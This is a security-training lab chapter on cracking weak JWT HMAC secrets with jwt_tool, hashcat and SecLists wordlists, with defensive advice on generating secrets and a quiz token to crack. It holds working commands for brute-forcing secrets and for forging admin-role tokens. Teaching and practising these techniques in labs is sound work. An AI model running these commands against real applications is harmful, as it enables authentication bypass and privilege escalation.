Hands-on Lab

JWT Bypass

Practice what you learn in this chapter! This dedicated lab gives you a real vulnerable server to legally exploit using the exact techniques from this chapter.

Skills You'll Practice:
JWTWeb SecurityToken AuthenticationCryptography

Secret Key Brute Forcing

Master the Art of Cracking JWT HMAC Secrets

Cryptographic AttackHMAC AnalysisIndustry Tools

What You'll Discover

🎯 Why This Matters

Research by Truffle Security found that over 1.2% of production JWTs use guessable secrets that can be cracked within seconds. When you understand JWT secret brute forcing, you're learning to identify one of the most critical vulnerabilities in modern web authentication—the same techniques security professionals use to assess application security worldwide.

🔍 What You'll Learn

You'll master the industry-standard tools and methodologies that security experts use to crack JWT secrets. This includes hashcat for high-speed computational attacks, jwt_tool for practical exploitation, and SecLists for comprehensive wordlist attacks—the same arsenal used by penetration testers in real-world assessments.

🚀 Your First Win

Within the next 5 minutes, you'll crack your first JWT secret using the exact same command-line techniques that security experts rely on. You'll see how quickly weak secrets fall to systematic attacks and understand why proper secret generation is crucial for secure applications.

🔧 Try This Right Now

Learn the technique by cracking this example JWT token that uses the weak secret "hackerdna-secret-key"

# First, install jwt_tool (the industry-standard JWT testing tool)
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install termcolor cprint pycryptodomex requests ratelimit

# Save this example JWT token for practice
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwibmFtZSI6IkhhY2tlckROQSBTdHVkZW50Iiwicm9sZSI6InN0dWRlbnQiLCJpYXQiOjE2NDA5OTUyMDAsImV4cCI6MTY3MjUzMTIwMH0.GSnrsS9IwIjCPHI1uRwwq0FR0nM0SavXAHXm9i61G3I" > example.jwt

# Test if this example token uses the weak secret
python3 jwt_tool.py $(cat example.jwt) -C -p hackerdna-secret-key

# Success! You should see:
# [+] hackerdna-secret-key is the CORRECT key!

You'll see: The example token cracked using "hackerdna-secret-key" - proving this weak secret was used to sign the token. This demonstrates how quickly predictable secrets fall to systematic testing.

Skills You'll Master

✅ Core Understanding

  • How HMAC signing actually works (no more mystery!)
  • Why weak secrets completely undermine JWT security
  • Professional attack methodologies and success patterns
  • Industry-standard tools for computational cryptography

🔍 Expert Skills

  • Using hashcat like a security consultant
  • Leveraging SecLists for systematic attacks
  • Calculating attack feasibility and time requirements
  • Implementing proper defensive countermeasures

Understanding the JWT Secret Vulnerability

A JWT secret is simply a password used to sign tokens—if that password is weak, the entire authentication system becomes compromised

The fundamental problem isn't with JWT technology itself, but with how developers choose the HMAC signing keys. Instead of using cryptographically secure random keys, many applications use predictable passwords that can be systematically cracked.

Most Common Weak Patterns

Default and example secrets that developers forget to change in production

secret
your-256-bit-secret
mysecretkey
jwt_secret
companyname123

Attack Vectors

How security professionals systematically test for weak secrets

Dictionary attacks
Company-specific wordlists
Framework default testing
Pattern-based mutations

Real-World Impact

Documented consequences from actual security assessments

Complete auth bypass
Privilege escalation
Data access compromise
Session hijacking

Professional Attack Tools and Techniques

Security professionals use two primary tools for JWT secret cracking: hashcat for computational power and jwt_tool for practical exploitation. Understanding both gives you the complete professional toolkit.

Hashcat: The Speed Champion

Hashcat leverages your computer's GPU to test millions of password combinations per second. It's the industry standard for high-speed password cracking used by security professionals worldwide.

Step-by-Step Hashcat Attack

# Step 1: Save the JWT token for hashcat
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.XbPfbIHMI6arZ3Y922BhjWgQzWXcXNrz0ogtVhfEd2o"
echo "$JWT" > jwt.hash

# Step 2: Create wordlist with common secrets
echo -e "secret\npassword\nadmin\ntest\n123456\nyour-256-bit-secret" > wordlist.txt

# Step 3: Launch the attack
hashcat -m 16500 jwt.hash wordlist.txt --force

# Step 4: Check results
hashcat -m 16500 jwt.hash --show

This same methodology is used by penetration testers during security assessments to identify weak JWT implementations in production systems.

JWT_Tool: The All-in-One Solution

JWT_tool is specifically designed for JWT security testing. It can crack secrets and immediately forge new tokens—perfect for practical attacks and demonstrations.

Quick Secret Testing and Exploitation

# Test with a specific weak secret
python3 jwt_tool.py [YOUR_TOKEN] -C -p "secret"

# Test with a custom wordlist
python3 jwt_tool.py [YOUR_TOKEN] -C -d wordlist.txt

# Once secret is found, forge a new token
python3 jwt_tool.py [TOKEN] -S hs256 -p "found_secret" -I -pc role -pv admin

# Example output when successful:
# [+] secret is the CORRECT key!
# jwttool_abc123 - Tampered token - HMAC Signing:
# [+] eyJhbGciOiJIUzI1NiIs... (forged admin token)

This immediate exploitation capability makes jwt_tool essential for demonstrating the real-world impact of weak JWT secrets.

SecLists: The Professional Wordlist Collection

SecLists is the industry-standard collection of wordlists used by security professionals worldwide. It contains millions of passwords optimized for different attack scenarios.

📥 Download: https://github.com/danielmiessler/SecLists

Essential SecLists for JWT Attacks

# High-success wordlists for quick wins
/usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
/usr/share/seclists/Passwords/Common-Credentials/best1050.txt
/usr/share/seclists/Discovery/Web-Content/common.txt

# For comprehensive attacks
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

# Example usage with hashcat
hashcat -m 16500 jwt.hash /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt

These wordlists are the result of years of security research and real-world password analysis, giving you the same resources used by professional penetration testers.

Real-World Attack Scenarios

These scenarios represent actual patterns found in security assessments, demonstrating the practical application of JWT secret cracking techniques.

Scenario 1: The "Secret" Secret (30 seconds)

The word "secret" is the most common weak JWT secret found in production applications worldwide. Testing for it should be your first step.

# Test the most common weak secret
TOKEN="your_jwt_token_here"
python3 jwt_tool.py $TOKEN -C -p "secret"

# If successful: [+] secret is the CORRECT key!
# Then forge admin token:
python3 jwt_tool.py $TOKEN -S hs256 -p "secret" -I -pc role -pv admin

Success Rate: Based on security research, the word "secret" successfully cracks a significant portion of vulnerable JWT implementations in the wild.

Scenario 2: Framework Default Attack (5 minutes)

Many web frameworks include example JWT configurations with default secrets that developers forget to change in production.

# Create wordlist with framework defaults
cat > framework_defaults.txt << 'EOF'
secret
your-256-bit-secret
mySecretKey
super-secret
jwt-secret
django-insecure-key
base64:your-base64-encoded-secret-here
EOF

# Test against target
python3 jwt_tool.py $TOKEN -C -d framework_defaults.txt

Professional Insight: Framework default secrets are found in production more often than most developers realize, making this a high-value attack vector.

Scenario 3: Systematic Professional Attack (1 hour)

When quick tests fail, security professionals use a systematic approach with proven wordlists and mutation rules.

# Multi-stage professional attack

# Stage 1: High-probability targets (5 min)
hashcat -m 16500 jwt.hash /usr/share/seclists/Passwords/Common-Credentials/best1050.txt

# Stage 2: Extended common passwords (15 min)
hashcat -m 16500 jwt.hash /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt

# Stage 3: Comprehensive attack with rules (30 min)
hashcat -m 16500 jwt.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -r rules/best64.rule

# Stage 4: Application-specific terms (10 min)
hashcat -m 16500 jwt.hash /usr/share/seclists/Discovery/Web-Content/common.txt

Professional Standard: This systematic approach is used by penetration testers and security consultants to comprehensively assess JWT secret strength.

Attack Feasibility and Time Analysis

Understanding which attacks are worth pursuing is crucial for efficient security testing. Here's how security professionals assess JWT secret strength.

High Success Rate

Quick Wins (Under 1 Hour)

  • Default framework secrets
  • Development environment keys
  • Tutorial/example applications
  • Simple dictionary words

Tools: jwt_tool, SecLists common passwords

Medium Success Rate

Extended Attacks (1-24 Hours)

  • 8-character alphanumeric secrets
  • Modified dictionary words
  • Company/app specific patterns
  • Leaked password databases

Tools: hashcat with GPU, rule files, custom wordlists

Low Success Rate

Not Worth Attempting

  • Random 12+ character secrets
  • Properly generated 256-bit keys
  • Complex unique passwords
  • HSM-generated keys

Advice: Focus efforts elsewhere

Real-World Success Metrics

Based on actual penetration testing results and security research:

These statistics demonstrate why systematic JWT secret testing is a critical component of application security assessments.

Defensive Countermeasures

Understanding attack techniques enables you to implement proper defenses. Here's how security professionals protect JWT implementations against brute force attacks.

Secure Secret Generation

Professional Secret Generation Commands

# Generate cryptographically secure 256-bit secret
openssl rand -base64 32

# Python method (recommended)
import secrets, base64
secret = base64.b64encode(secrets.token_bytes(32)).decode()
print(f"JWT_SECRET={secret}")

# Node.js method
const crypto = require('crypto');
const secret = crypto.randomBytes(32).toString('base64');
console.log(`JWT_SECRET=${secret}`);

Minimum Security Requirements

  • 256-bit entropy minimum - 32 cryptographically random bytes
  • Unique per environment - Different secrets for dev, staging, production
  • Regular rotation - Change secrets periodically
  • Secure storage - Environment variables, never hardcoded

Implementation Best Practices

Algorithmic Improvements

  • Use RS256 instead of HS256 - Eliminates shared secret problem
  • Implement proper key management - Dedicated secret management systems
  • Enable token rotation - Short-lived tokens with refresh mechanism

Operational Security

  • Token exposure prevention - Minimize JWT token leakage in logs, URLs, or client storage
  • Monitoring - Detect unusual token usage patterns and invalid signatures
  • Secret scanning - Automated detection in code repositories and CI/CD pipelines

🎯 Your JWT Secret Cracking Expertise is Complete!

You now understand JWT secret brute forcing like a security professional. You can identify vulnerable implementations, use industry-standard tools for systematic attacks, and implement proper defensive measures that protect applications from these vulnerabilities.

Hashcat MasteryJWT_Tool ExpertiseSecLists ProficiencyProfessional Assessment

Ready to Apply Advanced JWT Attack Techniques

Knowledge Validation

Demonstrate your understanding to earn points and progress

1
Chapter Question

Crack this JWT token to find the secret key: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwibmFtZSI6IkhhY2tlckROQSBTdHVkZW50Iiwicm9sZSI6InN0dWRlbnQiLCJpYXQiOjE2NDA5OTUyMDAsImV4cCI6MTY3MjUzMTIwMH0.izfykwiOACFcH7QYY9rk5O3xCpmkcBFLdabnXvOvuqs

1
Read
2
Validate
3
Complete